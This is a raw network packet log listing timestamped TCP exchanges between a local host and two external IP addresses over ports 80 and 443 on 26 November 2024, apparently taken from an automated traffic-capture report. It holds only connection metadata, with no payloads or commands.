Nov 26, 2024 00:07:29.523103952 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.523159027 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.523231030 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.523282051 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.524063110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.524105072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.524127960 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.524143934 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.525046110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.525134087 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.525186062 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.526010036 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.526079893 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.526135921 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.526182890 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.527028084 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.527075052 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.527116060 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.527162075 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.528043985 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.528054953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.528088093 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.528968096 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.529099941 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.529146910 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.529941082 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.529997110 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.530011892 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.530028105 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.530924082 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.530972958 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.531049967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.531096935 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.531920910 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.531975985 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.532007933 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.532047987 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.532938957 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.533011913 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.533065081 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.593393087 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.593660116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.593794107 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.593822002 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.593857050 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.593977928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.594017982 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.594818115 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.594861031 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.594928980 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.594969034 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.595763922 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.595807076 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.595876932 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.595916986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.596771002 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.596818924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.596859932 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.597737074 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.597779036 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.597851038 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.597888947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.598725080 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.598769903 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.598805904 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.598845959 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.599733114 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.599773884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.599797964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.599839926 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.600657940 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.600699902 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.600737095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.600778103 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.601650953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.601696014 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.601769924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.601809978 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.602612019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.602655888 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.602716923 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.602758884 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.603637934 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.603682041 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.603713989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.603750944 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.604585886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.604720116 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.604758024 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.605578899 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.605623960 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.605731964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.605776072 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.606559992 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.606605053 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.606662989 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.606703997 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.607510090 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.607558012 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.607639074 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.607683897 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.608515024 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.608611107 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.608659983 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.609483004 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.609524965 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.609608889 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.609654903 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.610471964 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.610512972 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.610552073 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.610593081 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.611433029 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.611476898 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.611615896 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.611656904 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.612413883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.612454891 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.612526894 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.613409996 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.613457918 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.613535881 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.613578081 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.614377022 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.614424944 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.614492893 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.614537001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.615402937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.615446091 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.615500927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.615545034 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.616333961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.616380930 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.616453886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.616492033 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.617340088 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.617440939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.617477894 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.618335009 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.618371010 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.618381023 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.618407965 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.644903898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.644967079 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.645036936 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.645423889 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.645482063 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.645615101 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.645669937 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.646353960 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.646400928 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.646709919 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.646759033 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.646827936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.646881104 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.647830009 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.647880077 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.647908926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.647950888 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.648680925 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.648732901 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.648788929 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.649709940 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.649760008 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.649765968 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.649811983 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.650648117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.650692940 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.650753975 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.650803089 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.651603937 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.651659012 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.651732922 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.651796103 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.652661085 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.652713060 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.652808905 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.652859926 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.653651953 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.653740883 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.653791904 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.719307899 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.719372988 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.719459057 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.719511986 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.719803095 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.719894886 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.719938993 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.720773935 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.720837116 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.720881939 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.720927954 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.721757889 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.721812963 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.722045898 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.722095966 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.722728968 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.722773075 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.722846985 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.722888947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.723707914 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.723750114 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.723783016 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.723818064 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.724839926 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.724946976 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.724992990 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.725676060 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.725707054 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.725749016 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.726669073 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.726712942 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.726840019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.726896048 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.727643967 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.727694988 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.727731943 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.727771997 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.728629112 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.728703022 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.728765965 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.728811026 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.729612112 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.729656935 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.729681015 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.729717970 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.730600119 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.730654001 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.730716944 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.730865955 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.731563091 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.731620073 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.731657982 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.731704950 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.732579947 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.732666969 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.732717991 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.733526945 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.733573914 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.733664036 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.733707905 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.734498978 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.734563112 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.734611034 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.794795036 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.794852972 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.794891119 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.794934034 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.795192003 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.795203924 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.795242071 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.796078920 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.796152115 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.796468019 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.796511889 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.796603918 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.796648979 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.797630072 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.797641039 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.797674894 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.797702074 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.799384117 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.799395084 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.799433947 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.800503969 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.800514936 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.800524950 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.800535917 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.800554991 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.800573111 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.803375959 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803386927 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803397894 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803421974 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.803422928 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803436041 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803447962 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.803461075 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.803483963 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.803491116 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.803524971 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:29.804495096 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.804506063 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:29.804547071 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:32.512898922 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.512931108 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.513039112 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.513257980 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.513272047 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.674704075 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.674732924 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.675013065 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.675013065 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.675034046 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.738050938 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.738096952 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.738178015 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.738390923 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.738404036 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.964572906 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.964589119 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:32.964690924 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.965075970 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:32.965085983 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:33.293843031 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:33.293945074 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:34.274413109 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.278713942 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.278723955 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.279715061 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.279778004 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.280567884 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.280628920 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.280715942 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.325851917 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.325861931 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.388904095 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.468930960 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.470774889 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.470793962 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.471822023 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.471894979 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.472142935 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.472186089 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.472279072 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.472285986 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.501346111 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.501558065 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.501574039 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.502434969 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.502490044 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.502765894 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.502824068 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.502871990 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.515029907 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.543345928 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.545497894 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.545506001 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.591661930 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.748548031 CET	443	49747	142.250.181.100	192.168.2.4
